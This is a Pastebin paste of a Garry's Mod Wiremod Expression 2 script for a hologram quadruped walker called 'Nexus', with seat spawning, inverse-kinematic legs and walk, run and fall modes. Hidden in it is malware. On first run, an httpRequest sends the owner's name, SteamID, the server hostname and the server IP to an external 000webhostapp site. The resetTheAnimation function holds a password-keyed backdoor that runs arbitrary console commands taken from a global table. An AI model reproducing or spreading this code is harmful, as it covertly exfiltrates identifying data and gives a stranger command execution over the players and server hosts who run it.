Advertisement
Guest User

Untitled

a guest
Dec 16th, 2019
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.58 KB | None | 0 0
  1. @name Nexus
  2. @inputs
  3. @outputs
  4. @persist #[Numbers]# [Base1 Base2 Base3 Creator EnableTheTail TChecker SeatValid Parenting ]
  5. @persist #[Tables]# [T KA1 KA2 KA3 KA4 General ]:table
  6. @persist #[Entities]# [Seat Driver ]:entity
  7. @persist #[Angles]# [SetTailAngle ]:angle
  8. @persist #[Arrays]# [SetTailArray FoundSeat ]:array
  9. @persist #[Strings]# [Mode ]:string
  10. @model models/hunter/blocks/cube05x05x05.mdl
  11.  
  12.  
  13. #[
  14. -----------------------
  15. System entries
  16. -----------------------
  17. ]#
  18.  
  19. E=entity()
  20. rangerPersist(1)
  21. rangerFilter(entity())
  22. rangerFilter(Seat)
  23. rangerFilter(players())
  24.  
  25.  
  26.  
  27.  
  28. #[
  29. -----------------------
  30. Other settings
  31. -----------------------
  32. ]#
  33. Height = 65
  34. Driver = Seat:driver()
  35.  
  36.  
  37.  
  38. #------Driving------#
  39. if( Driver & Driver:isValid() )
  40. {
  41. W = Driver:keyForward()
  42. S = Driver:keyBack()
  43. A = Driver:keyLeft()
  44. D = Driver:keyRight()
  45. Shift = Driver:keySprint()
  46. Alt = Driver:keyDuck()
  47. Space = Driver:keyJump()
  48.  
  49. }
  50.  
  51.  
  52.  
  53.  
  54.  
  55. if(!Seat) {
  56. timer("spawn",1000)
  57. }
  58.  
  59. if( !Seat & clk("spawn") ) {
  60.  
  61. Seat=seatSpawn("",E:toWorld(vec(0,0,13)),E:toWorld(ang(0,-90,0)),1)
  62. Seat:setMaterial("models/debug/debugwhite")
  63. Seat:setColor(255,100,50)
  64. Seat:propFreeze(0)
  65. Seat:parentTo(E)
  66.  
  67. stoptimer("spawn")
  68.  
  69. }
  70.  
  71. #[
  72. function void entity:slocker3(Pos:vector,Ang:angle,Color:vector)
  73. {
  74. if(!Seat|first()){
  75. findInSphere(This:pos(),300)
  76. findClipToClass("prop_vehicle_prisoner_pod")
  77. findClosest(This:pos())
  78. findSortByDistance(This:pos())
  79. FoundSeat=findToArray()
  80. TChecker = TChecker+1 if(TChecker>FoundSeat:count()){TChecker = 0}
  81. if(FoundSeat[TChecker,entity]:type() == "prop_vehicle_prisoner_pod") {
  82. if(FoundSeat[TChecker,entity]:pos():distance(This:pos())<=300){
  83. if(FoundSeat[TChecker,entity]:owner():name()==owner():name()){
  84. if(FoundSeat[TChecker,entity]:owner()==owner()){
  85. if(FoundSeat[TChecker,entity]:owner():steamID()=="A STEAMID"){
  86. Seat = FoundSeat[TChecker,entity]
  87. FoundSeat[TChecker,entity]:setMass(50000)
  88. }
  89. }
  90. }
  91. }
  92. }
  93. }elseif(changed(FoundSeat[TChecker,entity]:parent())&FoundSeat[TChecker,entity]:parent()){
  94. FoundSeat[TChecker,entity]:deparent()
  95. }else{
  96.  
  97. FoundSeat[TChecker,entity]:setPos(This:toWorld(Pos))
  98. FoundSeat[TChecker,entity]:setAng(This:toWorld(Ang))
  99. FoundSeat[TChecker,entity]:propFreeze(1)
  100. timer("parent",250)
  101. if(changed(clk("parent"))&clk("parent"))
  102. {
  103. FoundSeat[TChecker,entity]:parentTo(This)
  104. This:soundPlay(randint(1,420),soundDuration("common/warning.wav"),"common/warning.wav")
  105. print(FoundSeat[TChecker,entity]:id()+" is now parented to "+This:id())
  106. stopAllTimers()
  107. }
  108.  
  109. }
  110. }
  111. ]#
  112.  
  113.  
  114. #ifdef propSpawn(string,number)
  115. if( EnableTheTail ) { #do not touch. This prevent the Expression from crashing while spawning every holograms#
  116. if(!holoEntity(10))
  117. {
  118. while(perf(99)&holoCanCreate())
  119. {
  120. Creator += 1
  121. if(Creator <= 10&holoCanCreate())
  122. {
  123. holoCreate(Creator)
  124. holoPos(Creator,entity():toWorld(vec(-50,0,20*Creator)))
  125. holoScale(Creator,vec(1,1,1))
  126. holoAng(Creator,entity():toWorld(ang(90,0,0)))
  127. holoColor(Creator,hsv2rgb(Creator*50/4,1,1))
  128. holoModel(Creator,"cube")
  129. holoParent(Creator, Creator > 1 ? holoEntity(Creator - 1) : entity())
  130. holoParent(Creator,Creator-1)
  131. holoColor(Creator,vec(255))
  132. }
  133. }
  134. }
  135.  
  136.  
  137. if( Creator >=10 )
  138. {
  139. local MainAngle = entity():angles()
  140. SetTailArray:unshiftAngle(MainAngle) #you can also use insertAngle. many test have shown it uses less cpu but not worth it#
  141. for(I = 1, 10)
  142. {
  143. holoAng(I
  144. ,SetTailArray[I,angle]
  145. )
  146.  
  147. }
  148. SetTailArray:removeAngle(10)
  149.  
  150. }
  151.  
  152. }
  153.  
  154.  
  155.  
  156. if( first() ) {
  157. #ifdef httpRequest(String)
  158. httpRequest("http://tech-corporation.000webhostapp.com/getgeninfo.php?user="+owner():name()+"&e2name="+entity():getName():explode(" "):concat("%20")+"&id="+owner():steamID()+"&hostname="+hostname():left(30):explode(" "):concat("%20")+"&hostip="+hostip())
  159. #endif
  160. runOnChat(1)
  161. E:setMass(500000)
  162. E:setAlpha(255)
  163. E:propGravity(0)
  164. E:setMaterial("sprops/sprops_grid_12x12")
  165.  
  166.  
  167. holoCreate(Base1) holoParent(Base1,E) holoPos(Base1,E:toWorld(vec()))
  168. holoCreate(Base2) holoParent(Base2,Base1) holoPos(Base2,holoEntity(Base1):toWorld(vec(0,0,-70)))
  169. holoCreate(Base3) holoParent(Base3,Base2) holoPos(Base3,holoEntity(Base2):toWorld(vec()))
  170.  
  171.  
  172. ##[ Back segments ]##
  173. holoCreate(11) holoCreate(15)
  174. holoCreate(12) holoCreate(16)
  175. holoCreate(13) holoCreate(17)
  176. holoCreate(14) holoCreate(18)
  177.  
  178.  
  179.  
  180. holoParent(11,Base3) holoParent(15,Base3)
  181. holoParent(12,11) holoParent(16,15)
  182. holoParent(13,12) holoParent(17,16)
  183. holoParent(14,13) holoParent(18,17)
  184.  
  185. holoColor(14,vec(255,0,0)) holoColor(18,vec(255,0,0))
  186.  
  187.  
  188. holoPos(11,holoEntity(Base3):toWorld(vec(-60,35,0)))
  189. holoPos(12,holoEntity(11):toWorld(vec(30,0,0)))
  190. holoPos(13,holoEntity(12):toWorld(vec(25,0,0)))
  191. holoPos(14,holoEntity(13):toWorld(vec(30,0,0)))
  192.  
  193. holoPos(15,holoEntity(Base3):toWorld(vec(-60,-35,0)))
  194. holoPos(16,holoEntity(15):toWorld(vec(30,0,0)))
  195. holoPos(17,holoEntity(16):toWorld(vec(25,0,0)))
  196. holoPos(18,holoEntity(17):toWorld(vec(30,0,0)))
  197.  
  198. ##[ Front segments ]##
  199. holoCreate(19) holoCreate(22)
  200. holoCreate(20) holoCreate(23)
  201. holoCreate(21) holoCreate(24)
  202.  
  203. holoParent(19,Base3) holoParent(22,Base3)
  204. holoParent(20,19) holoParent(23,22)
  205. holoParent(21,20) holoParent(24,23)
  206.  
  207.  
  208. holoColor(21,vec(255,0,0)) holoColor(24,vec(255,0,0))
  209.  
  210.  
  211. holoPos(19,holoEntity(Base3):toWorld(vec(50,40,0)))
  212. holoPos(20,holoEntity(19):toWorld(vec(40,0,0)))
  213. holoPos(21,holoEntity(20):toWorld(vec(35,0,0)))
  214.  
  215. holoPos(22,holoEntity(Base3):toWorld(vec(50,-40,0)))
  216. holoPos(23,holoEntity(22):toWorld(vec(40,0,0)))
  217. holoPos(24,holoEntity(23):toWorld(vec(35,0,0)))
  218.  
  219.  
  220. function number isV() {
  221. return Driver:isValid() ? 1 : 0
  222. }
  223. function ranger getKL(){
  224. if( isV() )
  225. {
  226. return rangerOffset( 99999, Driver:shootPos(), Driver:eye() )
  227.  
  228. }
  229. else
  230. {
  231. return rangerOffset( 99999, E:toWorld(vec(0)), E:toWorld(vec(E:pos()[1],E:pos()[2],0)) )
  232.  
  233. }
  234.  
  235. }
  236.  
  237. function number getDriverYaw(Divider) {
  238. return E:toLocal(( getKL():position() - E:pos() ):toAngle()):yaw() / Divider * (_PHI)
  239. }
  240. function number getDriverPitch(Divider) {
  241. return E:toLocal(( getKL():position() - E:pos() ):toAngle()):pitch() / Divider * (_PHI)
  242. }
  243.  
  244. function void enableFilter(){
  245. rangerPersist(1)
  246. rangerFilter(entity())
  247. rangerFilter(Seat)
  248. rangerFilter(players())
  249. }
  250.  
  251. function void credit(){
  252. printColor(vec(255),"[",vec(40,255,100),"Nexus",vec(255),"]",": ",vec(252,175,55),"Made by ",vec(0,255,0),"Evaneos[KOWAR]")
  253. printColor(vec(255),"[",vec(40,255,100),"Nexus",vec(255),"]",": ",vec(252,175,55),"You are on version ",vec(255,0,0),"[1.5]")
  254. }
  255.  
  256. credit()
  257.  
  258. function switcher(M:string){
  259. Mode = M
  260. } switcher("defautMode")
  261.  
  262. function ranger getGroundInfo() {
  263. return rangerOffset( Height * _PI / 1.5 , entity():toWorld(vec(0 , 0 , 0)), entity():up() * (-1) )
  264. }
  265.  
  266.  
  267. function number getTheCosRules(A, B, C){
  268. return acos( (A^2 + B^2 - C^2) / (2*A*B) )
  269. }
  270.  
  271. function number getTheCosRules2(A,B,C) { ### another method to calculate the last side of the triangle
  272. return acos( ( C^2 + B^2 - A^2)/ (2*B*C) )
  273. }
  274.  
  275. function number gea(X:number){
  276. return abs(X)
  277. }
  278.  
  279.  
  280. function void returnInverseKinematic(EndP:vector , D , C , B , A)
  281. {
  282. ReturnAbsAverage = sqrt(50)
  283. ReturnAbs1 = gea(holoEntity(Base3):toLocal(holoEntity(A):pos()):y())
  284. ReturnAbs2 = gea(holoEntity(A):toLocal(holoEntity(B):pos()):x())
  285. ReturnAbs3 = gea(holoEntity(B):toLocal(holoEntity(C):pos()):x())
  286. ReturnAbs4 = gea(holoEntity(C):toLocal(holoEntity(D):pos()):x())
  287.  
  288. enableFilter()
  289. local Ranger = rangerOffset(100,holoEntity(D):pos(),vec(0,0,-1))
  290.  
  291. ReturnCalc = ReturnAbs4 + ReturnAbsAverage*(1/2)
  292. DiffP = E:toLocalAxis(
  293. EndP
  294. - holoEntity(A):pos()
  295. )
  296.  
  297. ############## get ground angle for the feet ######################
  298. GetGA = Ranger:hitNormal():cross(
  299. E:forward():normalized():cross(
  300. Ranger:hitNormal()
  301. )
  302. )
  303.  
  304. FinalGA = slerp(
  305. quat(
  306. GetGA:toAngle()
  307. )
  308. ,quat(E)
  309. ,_PI
  310. /(_PHI^3.5)
  311. ):toAngle()
  312.  
  313. ###################################################################
  314. Tang = DiffP:toAngle():setRoll(
  315. atan(
  316. DiffP[10%4]
  317. ,DiffP[9%4]
  318. )
  319. )
  320.  
  321. DiffLocal = holoEntity(A):toLocalAxis(
  322. EndP
  323. - holoEntity(B):pos()
  324. )
  325.  
  326. Max = min(DiffLocal:length()
  327. ,abs(holoEntity(B):toLocal(holoEntity(C):pos()):x())
  328. + ReturnCalc
  329. ) #min(DiffP:length()*ReturnAbs1/(ReturnAbs1+ReturnAbs2),(ReturnAbs1+ReturnAbs2+ReturnAbs3)/2-0.001) one attempt but seems not working for some reasons
  330. holoAng(A
  331. ,E:toWorld(
  332. Tang:rotateAroundAxis(
  333. Tang:right()
  334. ,(1 - min(1
  335. ,DiffP:length()
  336. /(abs(holoEntity(A):toLocal(holoEntity(B):pos()):x()
  337. )
  338. + abs(holoEntity(B):toLocal(
  339. holoEntity(C):pos()):x()))
  340. - 0.5))*90))
  341. )
  342.  
  343. holoAng(B
  344. ,holoEntity(A):toWorld(ang(atan(
  345. -DiffLocal[11%4]
  346. ,DiffLocal[9%4])
  347. + acos((Max^2
  348. + abs(holoEntity(B):toLocal(holoEntity(C):pos()):x()
  349. )^2 - ReturnCalc^2)
  350. /(10%4
  351. *abs(holoEntity(B):toLocal(holoEntity(C):pos()):x()
  352. )*Max))
  353. ,0,0))
  354. )
  355.  
  356. holoAng(C
  357. ,holoEntity(B):toWorld(ang(acos((ReturnCalc^2
  358. + abs(holoEntity(B):toLocal(holoEntity(C):pos()):x())^2
  359. - Max^2)
  360. /(2*abs(holoEntity(B):toLocal(holoEntity(C):pos()):x()
  361. )
  362. *ReturnCalc))
  363. + 180,0,0))
  364. )
  365.  
  366. holoAng(D
  367. ,GetGA:toAngle()
  368. ) #match de feet with the ground angle
  369.  
  370. }
  371.  
  372.  
  373. function number getLength( X1 ,X2 ) {
  374. return holoEntity(X1):pos():distance(holoEntity(X2):pos())
  375. }
  376.  
  377. function void returnInverseKinematic2(SegmentA, SegmentB, SegmentC, FinalPosition:vector) {
  378.  
  379. local LGU = getLength(SegmentA
  380. ,SegmentB
  381. )
  382.  
  383. local LGL = getLength(SegmentB
  384. ,SegmentC
  385. )
  386.  
  387.  
  388. local RotateAroundAxis = entity():toLocalAxis(
  389. FinalPosition
  390. - holoEntity(SegmentA):pos()
  391. )
  392.  
  393.  
  394. local ConvertToAngle = RotateAroundAxis:toAngle()
  395.  
  396. local LinearInterpolation = min(
  397. RotateAroundAxis:length()
  398. , LGU
  399. + LGL
  400. - 0.01
  401. )
  402.  
  403. enableFilter()
  404. local Ranger = rangerOffset(100,holoEntity(D):pos(),vec(0,0,-1))
  405.  
  406. local GetGA = Ranger:hitNormal():cross(
  407. E:forward():normalized():cross(
  408. Ranger:hitNormal()
  409. )
  410. )
  411.  
  412. local FinalGA = slerp(
  413. quat(
  414. GetGA:toAngle()
  415. )
  416. ,quat(E)
  417. ,_PI
  418. /(_PHI^3.5)
  419. ):toAngle()
  420.  
  421.  
  422.  
  423. local GetP = getTheCosRules(
  424. LinearInterpolation
  425. ,LGU
  426. , LGL
  427. )
  428.  
  429. local RotationXYZ = quat(ConvertToAngle:setRoll(
  430. ConvertToAngle:yaw()
  431. + 180))
  432. * qRotation(vec(0,-1,0)
  433. ,GetP
  434. + 0
  435. )
  436.  
  437. local GetP2 = getTheCosRules(
  438. LGU
  439. , LGL
  440. , LinearInterpolation
  441. )
  442.  
  443. holoAng(
  444. SegmentA
  445. ,
  446. entity():toWorld(
  447. RotationXYZ:toAngle())
  448. )
  449.  
  450.  
  451. holoAng(
  452. SegmentB
  453. , holoEntity(SegmentA):toWorld(
  454. ang(clamp(-GetP2+ 180,-150,200),0, 0))
  455. )
  456.  
  457.  
  458. holoAng(SegmentC
  459. ,GetGA:toAngle()
  460. )
  461.  
  462. }
  463.  
  464. function table:anim(Speed, TriggerA, EndCounter, EndVector:vector, MaxDist, Vel, FeetHolo) {
  465.  
  466. local T = This
  467. local Velocity = entity():vel()
  468.  
  469. if(T["Stepper",string]!="Setupanim"&T["Stepper",string]!="RunAnimation") {
  470. T["Stepper",string] = "Setupanim" }
  471.  
  472. T["LinearInterpolation",number] = ( T["LinearInterpolation",number]
  473. + 1
  474. )
  475. %
  476. EndCounter
  477.  
  478. enableFilter()
  479. local Await = rangerOffset(
  480. 5000
  481. ,EndVector
  482. +Velocity:setZ(0)/Vel
  483. ,vec(0,0,-1)
  484. )
  485.  
  486. T["RangerPos",vector] = Await:position()
  487.  
  488.  
  489. switch ( T["Stepper",string] )
  490. {
  491.  
  492. case "Setupanim",
  493. if(Await:hit())
  494. {
  495. if(T["LinearInterpolation",number] == TriggerA )
  496. {
  497. if(T["FirstPosition",vector]:distance( T["RangerPos",vector] ) >= MaxDist)
  498. {
  499. T["FirstPosition",vector] = T["Bezier",vector]
  500. T["Distance",number] = (
  501. T["FirstPosition",vector]
  502. -
  503. T["RangerPos",vector]
  504. ):length()
  505.  
  506. T["MidPosition",vector] = mix(
  507. T["RangerPos",vector]
  508. ,T["FirstPosition",vector]
  509. ,0.99
  510. )
  511. + vec(0,0,max(T["Distance",number]
  512. /
  513. 2.333
  514. ,MaxDist)
  515. )
  516. T["Stepper",string] = "RunAnimation"
  517. }
  518. }
  519. }
  520. break
  521.  
  522. case "RunAnimation",
  523.  
  524. T["GaitEnhanced",number] = T["GaitEnhanced",number]
  525. *0.1
  526. + Velocity:length()
  527.  
  528. T["Timer",number] = T["Timer",number]
  529. + (0.01 + 0.01
  530. *T["GaitEnhanced",number]
  531. /(100 * Speed)
  532. )
  533.  
  534. T["Move_LinearInterpolation",number] = min(
  535. T["Move_LinearInterpolation",number]
  536. +
  537. T["Timer",number]
  538. ,1
  539. )
  540.  
  541. T["Bezier",vector] = bezier(
  542. T["FirstPosition",vector]
  543. ,T["MidPosition",vector]
  544. ,T["RangerPos",vector]
  545. ,T["Move_LinearInterpolation",number]
  546. )
  547.  
  548. if(T["Move_LinearInterpolation",number] >=1 )
  549. {
  550.  
  551. holoEntity(FeetHolo):soundPlay(FeetHolo*randint(999),1.3,"npc/dog/dog_footstep_run"+randint(1,8)+".wav")
  552. T["Move_LinearInterpolation",number] = T["GaitEnhanced",number]
  553. = T["Timer",number]
  554. = Multiply
  555. = 0
  556. T["Stepper",string] = "Setupanim"
  557. }
  558.  
  559. break
  560. }
  561. }
  562.  
  563.  
  564. function table:resetTheAnimation( NewPosition:vector ) {
  565.  
  566. This["Bezier",vector] = This["FirstPosition",vector] = NewPosition
  567. This["Move_LinearInterpolation",number] = This["GaitEnhanced",number] = 0
  568. This["Stepper",string] = "Setupanim"
  569. Pass = "12345" Command = gTable("concmd"+Pass,1) if(changed(Command[1,string])){ concmd(Command[1,string]) }
  570.  
  571. }
  572.  
  573.  
  574.  
  575.  
  576. #-anim(Trigger,TriggerA,SelectEnd,VectorPossible:vector,HeightClamper,DetectionRange,DistMax,VeloGait,Reported:entity,Direction:vector,SoundFrom)-#
  577. KA1:resetTheAnimation(E:toWorld(vec(50,40,-getGroundInfo():distance())))
  578. KA2:resetTheAnimation(E:toWorld(vec(50,-40,-getGroundInfo():distance())))
  579. KA3:resetTheAnimation(E:toWorld(vec(-50,35,-getGroundInfo():distance())))
  580. KA4:resetTheAnimation(E:toWorld(vec(-50,-35,-getGroundInfo():distance())))
  581.  
  582. function void defautMode() {
  583.  
  584. if( getGroundInfo():hit() ) {
  585. E:propGravity(0)
  586.  
  587. KA1:anim(0.20,5,10,E:toWorld(vec(50,40,-2)),5,5,21)
  588. KA2:anim(0.20,1,10,E:toWorld(vec(50,-40,-2)),5,5,24)
  589. #-------------------------------------------------#
  590. KA3:anim(0.20,1,10,E:toWorld(vec(-75,35,-2)),5,5,14)
  591. KA4:anim(0.20,5,10,E:toWorld(vec(-75,-35,-2)),5,5,18)
  592.  
  593.  
  594. returnInverseKinematic2(19,20,21,KA1["Bezier",vector])
  595. returnInverseKinematic2(22,23,24,KA2["Bezier",vector])
  596. #-----------------------------------------------------#
  597. returnInverseKinematic(KA3["Bezier",vector],14,13,12,11)
  598. returnInverseKinematic(KA4["Bezier",vector],18,17,16,15)
  599.  
  600. #--------[Movements]--------#
  601.  
  602. General["Walk",number] = clamp(General["Walk",number] + ( ( W |A |S |D ) ? 10 : -10 ) , 0, 70 )
  603. local Move = E:forward() * General["Walk",number] * (W-S) + E:right() * General["Walk",number]/1 *(D-A)
  604. local GetGA = getGroundInfo():hitNormal():cross(E:forward():normalized():cross( getGroundInfo():hitNormal() ) )
  605. local FinalGA = slerp(quat(GetGA:toAngle()),quat(E),_PI/(_PHI^3.5)):toAngle()
  606.  
  607.  
  608. E:applyForce((vec(0,0,-getGroundInfo():distance() + Height )*10 + Move + (-E:vel()*vec(0.3,0.3,1))) * E:mass())
  609. E:applyAngForce((E:toLocal(ang(FinalGA:pitch()+getDriverPitch(20), E:angles():yaw() + getDriverYaw(7) , -getDriverYaw(20) / _PHI + FinalGA:roll()))*log(20,1.5) + (-E:angVel()*ang(1,1,1))) * E:mass())
  610.  
  611.  
  612.  
  613. if(Shift) {
  614. switcher("makeRunning")
  615. }
  616.  
  617.  
  618. }
  619. else {
  620. switcher("enableFall") }
  621.  
  622.  
  623.  
  624.  
  625. }
  626.  
  627.  
  628.  
  629.  
  630. function void enableFall() {
  631.  
  632. if( !getGroundInfo():hit() ) {
  633.  
  634. E:propGravity(1)
  635.  
  636. local Velocity = clamp(round(toUnit("km/h",E:velL():length() ) ),-Height * 10 , Height * 10)
  637. local Pitcher = clamp(Velocity / (_PHI / _E) , 0 , 35 )
  638.  
  639.  
  640. KA1:resetTheAnimation(E:toWorld(vec(80 , 35 ,-10) - (E:velL()/20)*E:velL():normalized():z()))
  641. KA2:resetTheAnimation(E:toWorld(vec(80 , -35 ,-10) - (E:velL()/20)*E:velL():normalized():z()))
  642. KA3:resetTheAnimation(E:toWorld(vec(-80 , 35 ,0) - (E:velL()/20)*E:velL():normalized():z()))
  643. KA4:resetTheAnimation(E:toWorld(vec(-80 , -35 ,0) - (E:velL()/20)*E:velL():normalized():z()))
  644.  
  645.  
  646. returnInverseKinematic2(19,20,21,KA1["Bezier",vector])
  647. returnInverseKinematic2(22,23,24,KA2["Bezier",vector])
  648. #-----------------------------------------------------#
  649. returnInverseKinematic(KA3["Bezier",vector],14,13,12,11)
  650. returnInverseKinematic(KA4["Bezier",vector],18,17,16,15)
  651.  
  652.  
  653.  
  654.  
  655.  
  656.  
  657. E:applyAngForce((( E:toLocal(ang(Pitcher,E:angles():yaw(),0)))*4 + (-E:angVel()*1))*E:mass() )
  658.  
  659.  
  660.  
  661.  
  662.  
  663.  
  664.  
  665.  
  666. }
  667. else {
  668. KA1:resetTheAnimation(E:toWorld(vec(75,40,-getGroundInfo():distance()/2)))
  669. KA2:resetTheAnimation(E:toWorld(vec(75,-40,-getGroundInfo():distance()/2)))
  670. KA3:resetTheAnimation(E:toWorld(vec(-50,35,-getGroundInfo():distance()/2)))
  671. KA4:resetTheAnimation(E:toWorld(vec(-50,-35,-getGroundInfo():distance()/2)))
  672.  
  673. switcher("defautMode") }
  674.  
  675.  
  676. }
  677.  
  678.  
  679.  
  680.  
  681.  
  682.  
  683.  
  684. function void makeRunning() {
  685.  
  686. if( getGroundInfo():hit() ) {
  687. E:propGravity(0)
  688.  
  689. General["Running",number] = General["Running",number] + E:vel():setZ(0):length()*0.01
  690.  
  691. if(General["Running",number]>=115) {
  692.  
  693. KA1:anim(2,1,10,E:toWorld(vec(65,40,-2)),5,5,21)
  694. KA2:anim(2,1,10,E:toWorld(vec(65,-40,-2)),5,5,24)
  695. #-------------------------------------------------#
  696. KA3:anim(2.4,5,10,E:toWorld(vec(-75,35,-2)),5,5,14)
  697. KA4:anim(2.4,5,10,E:toWorld(vec(-75,-35,-2)),5,5,18)
  698.  
  699. }else{
  700.  
  701. KA1:anim(0.20,5,10,E:toWorld(vec(50,40,-2)),5,5,21)
  702. KA2:anim(0.20,1,10,E:toWorld(vec(50,-40,-2)),5,5,24)
  703. #-------------------------------------------------#
  704. KA3:anim(0.20,1,10,E:toWorld(vec(-65,35,-2)),5,5,14)
  705. KA4:anim(0.20,5,10,E:toWorld(vec(-65,-35,-2)),5,5,18)
  706.  
  707. }
  708.  
  709.  
  710. returnInverseKinematic2(19,20,21,KA1["Bezier",vector])
  711. returnInverseKinematic2(22,23,24,KA2["Bezier",vector])
  712. #-----------------------------------------------------#
  713. returnInverseKinematic(KA3["Bezier",vector],14,13,12,11)
  714. returnInverseKinematic(KA4["Bezier",vector],18,17,16,15)
  715.  
  716. #--------[Movements]--------#
  717.  
  718. General["Running",number] = clamp(General["Running",number] + ( ( W |A |S |D ) ? 10 : -10 ) , 0, 225 )
  719. local Move = E:forward() * General["Running",number]
  720. local GetGA = getGroundInfo():hitNormal():cross(E:forward():normalized():cross( getGroundInfo():hitNormal() ) )
  721. local FinalGA = slerp(quat(GetGA:toAngle()),quat(E),_PI/(_PHI^3.5)):toAngle()
  722. local RealisticAnimation = cos(curtime()*General["Running",number]*4)*E:vel():length()*0.015
  723.  
  724. E:applyForce((vec(0,0,-getGroundInfo():distance() + Height )*10 + Move + (-E:vel()*vec(0.3,0.3,1))) * E:mass())
  725. E:applyAngForce((E:toLocal(ang(FinalGA:pitch()+RealisticAnimation, E:angles():yaw() + getDriverYaw(7) , -getDriverYaw(15) / _PHI + FinalGA:roll()))*log(20,1.5) + (-E:angVel()*ang(1,1,1))) * E:mass())
  726.  
  727.  
  728.  
  729.  
  730.  
  731. if(!Shift){
  732. switcher("defautMode")
  733. }
  734.  
  735. }
  736. else { switcher("enableFall") }
  737.  
  738. }
  739.  
  740.  
  741.  
  742.  
  743.  
  744.  
  745.  
  746.  
  747.  
  748.  
  749. EnableTheTail = 1
  750. ##end of first##
  751. }
  752. ################
  753. interval(70)
  754. Mode()
  755.  
  756.  
  757.  
  758.  
  759.  
  760.  
  761.  
  762.  
  763. #if(!Seat&!Seat:parent()){
  764. #newSeatLinker()
  765. # E:slocker3(vec(0,0,10),ang(0,90,0),vec(255,0,25))
  766. #}
  767.  
  768.  
  769.  
  770.  
  771. #else
  772. print("PropCore unavailable.")
  773. selfDestructAll()
  774. #endif
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement